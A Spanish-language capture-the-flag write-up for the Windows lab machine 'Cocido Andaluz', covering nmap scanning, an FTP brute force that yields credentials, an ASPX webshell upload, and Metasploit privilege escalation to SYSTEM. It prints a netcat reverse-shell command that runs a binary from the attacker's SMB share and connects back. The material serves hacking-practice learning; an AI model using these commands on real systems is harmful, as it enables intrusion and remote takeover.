> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/the-hacker-labs/principiante/cocido-andaluz.md).

# Cocido Andaluz

## Información de la máquina

<figure><img src="/files/K2go89tcVtZBxcsuXG7k" alt=""><figcaption></figcaption></figure>

**Cocido Andaluz** es una máquina Windows catalogada con nivel de dificultad *fácil*. En ella recorreremos un escenario típico de intrusión que comienza con la enumeración de servicios y continúa con una fase de fuerza bruta sobre el servicio **FTP**, con el objetivo de descubrir credenciales válidas. Una vez autenticados, aprovecharemos el acceso para **subir una webshell en ASPX**, lo que nos permitirá ejecutar comandos de forma remota desde el navegador.

Para obtener una **reverse shell interactiva**, haremos uso de la herramienta **`nc.exe` (Netcat)** en conjunto con **`impacket-smbserver`**, facilitando así la transferencia del binario a la máquina víctima y estableciendo una conexión de vuelta hacia nuestro equipo.

Finalmente, en la fase de **escalada de privilegios**, utilizaremos el módulo `multi/recon/local_exploit_suggester` de **Metasploit**. Este módulo nos proporciona un listado de posibles vulnerabilidades locales explotables. Tras probar varios exploits sugeridos, lograremos ejecutar uno con éxito que nos otorga acceso como **NT AUTHORITY\SYSTEM**, el nivel más alto de privilegios en sistemas Windows.

***

## Reconocimiento

La fase de **reconocimiento** es el primer paso a la hora de resolver una máquina. Su objetivo es recopilar la mayor cantidad de información posible sobre el sistema objetivo, permitiendo entender su estructura, tecnología y posibles vectores de ataque.&#x20;

Para detectar la IP de la máquina victima, haremos un escaneo a nivel local con arp-scan:

<figure><img src="/files/kfpVP2Y0Ct1LRCf1VTsn" alt=""><figcaption></figcaption></figure>

Teniendo ya la IP, hacemos un ping a la máquina víctima para ver si está encendida y ante que nos enfrentamos.

<figure><img src="/files/pM8BXPUnu5Iy1YfSKLJY" alt=""><figcaption></figcaption></figure>

Si recibimos respuesta, significa que la máquina está en línea. Además, observamos que el **TTL** (Time To Live) es 128, lo que indica que es un sistema Windows (normalmente, los sistemas Linux tienen un TTL de 64).&#x20;

<figure><img src="/files/g4RApHWJQ0dvDInQviJ1" alt=""><figcaption></figcaption></figure>

#### **1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`puertos` .**

El escaneo revela que hay varios pouertos abiertos, pero solo le haremos caso a los puertos 21,80,135,139,445... Ahora realizamos un escaneo más detallado:

<figure><img src="/files/4yGD0AKxwuUfbiJo4cNA" alt=""><figcaption></figcaption></figure>

**1. `-p21,80,135,139,445...` → Escaneo de puertos específicos**

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

Vamos a ver la web. Vemos la página web de apache, cuando en realidad por detrás hay corriendo un Microsoft IIIS. Esto está hecho para despitar.

<figure><img src="/files/6zKJc9VA6mCTHxFL4l8g" alt=""><figcaption></figcaption></figure>

***

## Enumeración y búsqueda de vulnerabilidades

Para comenzar, utilizamos **GoBuster**, una herramienta escrita en Go que permite encontrar directorios y archivos ocultos en sitios web mediante ataques de fuerza bruta.

<figure><img src="/files/jmIWHGoT0NCWzfuTNdtA" alt=""><figcaption></figcaption></figure>

Lanzamos el escaneo, pero no obtuvimos resultados relevantes. Únicamente se mostraron los archivos por defecto del servidor Apache.

Procedimos con la enumeración del **puerto 135**, sin embargo, tampoco encontramos información útil o explotable.

<figure><img src="/files/ogcVWtg4EydBmDylz89q" alt=""><figcaption></figcaption></figure>

Dado que la enumeración anterior no ofreció resultados, optamos por realizar un ataque de fuerza bruta sobre el servicio **FTP**, con el objetivo de encontrar credenciales válidas.

Para ello, utilizamos el diccionario de **Xato** tanto para usuarios como para contraseñas, ya que contiene combinaciones que no están presentes en el clásico diccionario **rockyou.txt**.

<figure><img src="/files/bxOSiYaR4XJAmI3MIEs8" alt=""><figcaption></figcaption></figure>

> 🔑 Credenciales encontradas:\
> **Usuario:** `info`\
> **Contraseña:** `PolniyPizdec0211`

<figure><img src="/files/GgjYbu8I1TRyDHomvw48" alt=""><figcaption></figcaption></figure>

Con estas credenciales pudimos conectarnos exitosamente al servidor FTP. Al acceder, observamos varios archivos que parecen corresponder a recursos de una página web.

***

## Explotación de las vulnerabilidades

Nuestro siguiente paso fue buscar una **webshell con extensión `.aspx`** para obtener una conexión remota que nos permitiera ejecutar comandos.

<figure><img src="/files/hRp3Tdv8lh1Ky5ok3gkg" alt=""><figcaption></figcaption></figure>

Subimos la webshell al servidor FTP.

<figure><img src="/files/TdJJdU6bPiS4LCZhT6K7" alt=""><figcaption></figcaption></figure>

&#x20;Al abrirla desde el navegador, verificamos que podíamos ejecutar comandos remotamente

<figure><img src="/files/SThbBmO2R4G5yqnPTRzA" alt=""><figcaption></figcaption></figure>

Probamos generar una payload con **msfvenom** y transferirla a la máquina víctima mediante `certutil`, pero no obtuvimos una conexión válida. Explorando otras opciones, encontramos el ejecutable **`nc.exe`** en nuestro sistema local en la ruta: `/usr/share/windows-resources/binaries/nc.exe`

<figure><img src="/files/GYVsoybNHXnzUwYE7hUT" alt=""><figcaption></figcaption></figure>

Copiamos este archivo a nuestro directorio de trabajo y lo compartimos mediante **`impacket-smbserver`**.

<figure><img src="/files/PkfOVGSdaN9D7jC42OBD" alt=""><figcaption></figcaption></figure>

Desde la webshell, ejecutamos el siguiente comando para que la máquina víctima descargue y ejecute `nc.exe`, estableciendo una consola remota con nosotros:

```bash
\\192.168.1.186\shell\nc.exe -e cmd.exe 192.168.1.186 443
```

Con una sesión de escucha abierta en nuestro sistema (`nc -nlvp 443`), recibimos una **consola interactiva** desde la máquina víctima.

<figure><img src="/files/WUuVuvu5gYwadwQ9S3Om" alt=""><figcaption></figcaption></figure>

Con esta shell interactiva, ya tenemos acceso a la máquina objetivo y conseguimos visualizar la **flag inicial**.

<figure><img src="/files/tzteiTNbEs0XEGf8pFm4" alt=""><figcaption></figcaption></figure>

***

## Post Explotación y escalada de privilegios

Para la escalada de privilegios, esta vez sí utilizamos `msfvenom` para generar una **reverse shell en formato `.exe`**, diseñada para ser usada con **Meterpreter**.

<figure><img src="/files/EIW0RQPrAH6No9qbjZZu" alt=""><figcaption></figcaption></figure>

Creamos un servidor HTTP con Python (`python3 -m http.server 80`)&#x20;

<figure><img src="/files/ZhZMM0FSSKNueVXJHDee" alt=""><figcaption></figcaption></figure>

Desde la máquina víctima utilizamos `certutil` para descargar el archivo:

<figure><img src="/files/eEKl4q3R1ixmJYS4lUzr" alt=""><figcaption></figcaption></figure>

Con metasploit usaremos el multi/handler, configuramos los parámetros y lo lanzamos. Cuando ejecutamos el shell.exe en la máquina victima recibimos una sesion de Meterpreter

<figure><img src="/files/F8FlkEatjcepO6G6daLd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gkn3ynag784J1fSGs0cj" alt=""><figcaption></figcaption></figure>

De tal forma que ahora enumeraremos el sistema con multi/recon/local\_exploit\_suggester para ver exploits que se puedan usar.

<figure><img src="/files/DfaynSYmu7IsiBLncaFz" alt=""><figcaption></figcaption></figure>

Obtenemos múltiples sugerencias.

<figure><img src="/files/7qm1Iy85kmkaAYVSpdDM" alt=""><figcaption></figcaption></figure>

Probando los exploits sugeridos uno a uno, finalmente conseguimos ejecutar uno que nos devuelve una **sesión Meterpreter con privilegios SYSTEM**, es decir, con **máximos privilegios** en la máquina.

<figure><img src="/files/jEPqWHNWqUc7Y2ppNa21" alt=""><figcaption></figcaption></figure>

Conseguido el acceso privilegiado, ya podemos acceder a la **flag final**, completando así la explotación y escalada de la máquina con éxito.

<figure><img src="/files/ej4kDW5OB4pa8IicbIlr" alt=""><figcaption></figcaption></figure>

***

## Conclusión

Esta máquina nos permitió poner en práctica cómo aplicar fuerza bruta sobre el servicio FTP y subir una webshell para obtener conexión remota de comandos.

Finalmente, gracias al uso de herramientas como `nc`, `msfvenom` y `Metasploit`, logramos establecer sesiones remotas estables y obtener acceso como SYSTEM. Un ejercicio muy completo para reforzar conocimientos y habilidades técnicas en hacking ético.
